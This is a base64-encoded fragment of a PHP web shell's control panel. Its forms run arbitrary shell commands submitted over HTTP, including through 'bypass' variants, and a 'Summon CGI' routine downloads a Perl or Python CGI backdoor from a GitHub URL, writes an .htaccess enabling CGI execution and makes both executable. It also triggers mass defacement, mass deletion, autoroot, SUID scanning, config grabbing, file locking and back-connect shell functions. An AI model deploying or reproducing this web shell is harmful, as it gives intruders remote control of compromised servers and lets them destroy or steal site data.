ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5OYW1lPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9Im5hbWVmaWxlIiBhcmlhLWxhYmVsPSJOYW1lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IHRleHQtcHVycGxlIiBuYW1lPWdldGYgdHlwZT1zdWJtaXQgaWQ9Z2V0ZiB2YWx1ZT1kb3dubG9hZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnY29tbWFuZCcpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+Q29tbWFuZDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20iIG5hbWU9InVjbWQiIHBsYWNlaG9sZGVyPSJ3aG9hbWkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIHR5cGU9InN1Ym1pdCI+U3VibWl0PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdjb21tYW5kYnlwYXNzJykgOiA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0iY21kYmVwYXMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImNtZDgiPkNNRDg8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJjbWQ3Ij5DTUQ3PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkNvbW1hbmQgQnlwYXNzPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbSIgbmFtZT0iY21kYnlwYXNzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1BPU1RbJ2NtZGJ5cGFzcyddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCB0ZXh0LXB1cnBsZSIgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWRiZXBhc3MiPlN1Ym1pdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnY2dpLXRlbG5ldCcpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0iY2dpdGVsbmV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJweXRob24iPkNHSSBQeXRob248L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZXJsIj5DR0kgUGVybDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VtbW9uIiB2YWx1ZT0iU3VtbW9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnbWFzc2RlZmFjZScpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgbWFzc2RlZmFjZSgkcGF0aCk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRhY3Rpb24gPT0gJ21hc3NodGFjY2VzcycpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgbWFzc2h0YWNjZXNzKCRwYXRoKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnbWFzc2RlbGV0ZScpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgbWFzc2RlbGV0ZSgkcGF0aCk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRhY3Rpb24gPT0gJ2F1dG9yb290JykgOiA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBhdXRvcm9vdCgpOyA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnc2NhbnN1aWQnKSA6ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIHNjYW5zdWlkKCk7ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdsb2NrZmlsZXMnKSA6ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkxvY2sgRmlsZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20iIG5hbWU9ImxvY2tmaWxlIiBwbGFjZWhvbGRlcj0id2hvYW1pIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IHRleHQtcHVycGxlIiB0eXBlPSJzdWJtaXQiPlN1Ym1pdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRhY3Rpb24gPT0gJ2xvY2tmaWxlc2hpZGRlbicpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+TG9jayBGaWxlPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbSIgbmFtZT0ibG9ja2ZpbGVzcyIgcGxhY2Vob2xkZXI9Indob2FtaSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCB0ZXh0LXB1cnBsZSIgdHlwZT0ic3VibWl0Ij5TdWJtaXQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdnZXRjb25maWcnKSA6ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGdldGNvbmZpZygpOz8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRhY3Rpb24gPT0gJ2p1bXBpbmcnKSA6ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGp1bXAoKTs/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZCBwaHAgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGJjdG9vbCgpOyA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gZW5kaWYgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBlbmRpZiAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29tbWFuZCAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ3VjbWQnXSkpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InAtMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1jZW50ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIHRleHQtcHVycGxlIGNvbC1tZC03IG1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHByZT48P3BocCBlY2hvICRubS4iQCIuJHNlcnYuIjp+IyZuYnNwOyI7IGVjaG8gJHggPSAkX1BPU1RbJ3VjbWQnXTsiPGJyPiI7ID8+PGJyPjxicj48Y29kZT48P3BocCBlY2hvIGV4ZSgkeC4nIDI+JjEnKTsgPz48L2NvZGU+PC9wcmU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZGlmIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb21tYW5kIGJ5cGFzcyAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ2NtZGJlcGFzcyddKSkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icC0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgdGV4dC1wdXJwbGUgY29sLW1kLTcgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cHJlPjw/cGhwIGVjaG8gJG5tLiJAIi4kc2Vydi4iOn4jJm5ic3A7IjsgZWNobyAkeCA9ICRfUE9TVFsnY21kYnlwYXNzJ107ICR4LiI8YnI+IjsgPz48YnI+PGJyPjxjb2RlPjw/cGhwIGlmKCRfUE9TVFsnY21kYmVwYXMnXSA9PSAnY21kOCcpIHsgZWNobyBjbWQ4KCRfUE9TVFsnY21kYnlwYXNzJ10pOyB9IGlmKCRfUE9TVFsnY21kYmVwYXMnXSA9PSAnY21kNycpIHsgZWNobyBjbWQ3KCRfUE9TVFsnY21kYnlwYXNzJ10pOyB9ID8+PC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBlbmRpZiAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ3N1bW1vbiddKSkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icC0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgY29sLW1kLTcgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydjZ2l0ZWxuZXQnXSA9PSAncGVybCcpIHsKICAgICAgICAgICAgJGNnaV9kaXIgPSBta2Rpcignc2hpenVvX2NnaScsIDA3NTUpO2NoZGlyKCdzaGl6dW9fY2dpJyk7JGZpbGVfY2dpID0gImNnaXBsLnN6IjskbWVtZWcgPSAiLmh0YWNjZXNzIjskaXNpX2h0Y2dpID0gIk9QVElPTlMgSW5kZXhlcyBJbmNsdWRlcyBFeGVjQ0dJIEZvbGxvd1N5bUxpbmtzIFxuIEFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnN6IFxuIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuc3ogXG4gQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zeiI7JGh0Y2dpID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7JGNnaXBsPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2hpenVvMTMzNy9iYy9tYWluL2NnaS5wbCI7ZmRvd24oJGNnaXBsLCAkZmlsZV9jZ2kpO2Z3cml0ZSgkaHRjZ2ksICRpc2lfaHRjZ2kpO2NobW9kKCRmaWxlX2NnaSwgMDc1NSk7Y2htb2QoJG1lbWVnLCAwNzU1KTsKICAgICAgICAgICAgJGNnaWRpciA9ICdzaGl6dW9fY2dpJzsKICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48c3BhbiBjbGFzcz0ndGV4dC1zdWNjZXNzJz5TdWNjZXNzZnVsbHkgU3VtbW9uIENHSTwvc3Bhbj48YnI+PGEgY2xhc3M9J3RleHQtcHJpbWFyeScgaHJlZj0nIi4gJGNnaWRpciAuICIvIiAuICRmaWxlX2NnaSAuIicgdGFyZ2V0PV9ibGFuaz5LbGlrIERpc2luaTwvYT48L2NlbnRlcj4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ2NnaXRlbG5ldCddID09ICdweXRob24nKSB7CiAgICAgICAgICAgICRjZ2lfZGlyID0gbWtkaXIoJ3NoaXp1b19jZ2knLCAwNzU1KTtjaGRpcignc2hpenVvX2NnaScpOyRmaWxlX2NnaSA9ICJjZ2lweS5zeiI7JG1lbWVnID0gIi5odGFjY2VzcyI7JGlzaV9odGNnaSA9ICJPUFRJT05TIEluZGV4ZXMgSW5jbHVkZXMgRXhlY0NHSSBGb2xsb3dTeW1MaW5rcyBcbiBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zeiBcbiBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnN6IFxuIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuc3oiOyRodGNnaSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCAidyIpOyRjZ2lwbD0iaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NoaXp1bzEzMzcvYmMvbWFpbi9jZ2kucHkiO2Zkb3duKCRjZ2lwbCwgJGZpbGVfY2dpKTtmd3JpdGUoJGh0Y2dpLCAkaXNpX2h0Y2dpKTtjaG1vZCgkZmlsZV9jZ2ksIDA3NTUpO2NobW9kKCRtZW1lZywgMDc1NSk7CiAgICAgICAgICAgICRjZ2lkaXIgPSAnc2hpenVvX2NnaSc7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PHNwYW4gY2xhc3M9J3RleHQtc3VjY2Vzcyc+U3VjY2Vzc2Z1bGx5IFN1bW1vbiBDR0k8L3NwYW4+PGJyPjxhIGNsYXNzPSd0ZXh0LXByaW1hcnknIGhyZWY9JyIuICRjZ2lkaXIgLiAiLyIgLiAkZmlsZV9jZ2kgLiInIHRhcmdldD1fYmxhbms+S2xpayBEaXNpbmk8L2E+PC9jZW50ZXI+IjsKICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBlbmRpZiAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBsb2NrZmlsZXMgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9QT1NUWydsb2NrZmlsZSddKSkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icC0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgY29sLW1kLTcgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBsb2NrZmlsZXMoKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIGNsYXNzPSJ0ZXh0LXN1Y2Nlc3MiPkZpbGUgTG9ja2VkIFN1Y2Nlc3M8L3NwYW4+JzsgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZGlmIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBsb2NrZmlsZXNoaWRkZW4gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9QT1NUWydsb2NrZmlsZXNzJ10pKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBjb2wtbWQtNyBtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGxvY2tmaWxlc2hpZGRlbigpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAnPHNwYW4gY2xhc3M9InRleHQtc3VjY2VzcyI+RmlsZSBMb2NrZWQgU3VjY2Vzczwvc3Bhbj4nOyAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gZW5kaWYgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KCgogICAgICAgICAgICAgICAgICAgICAgICAg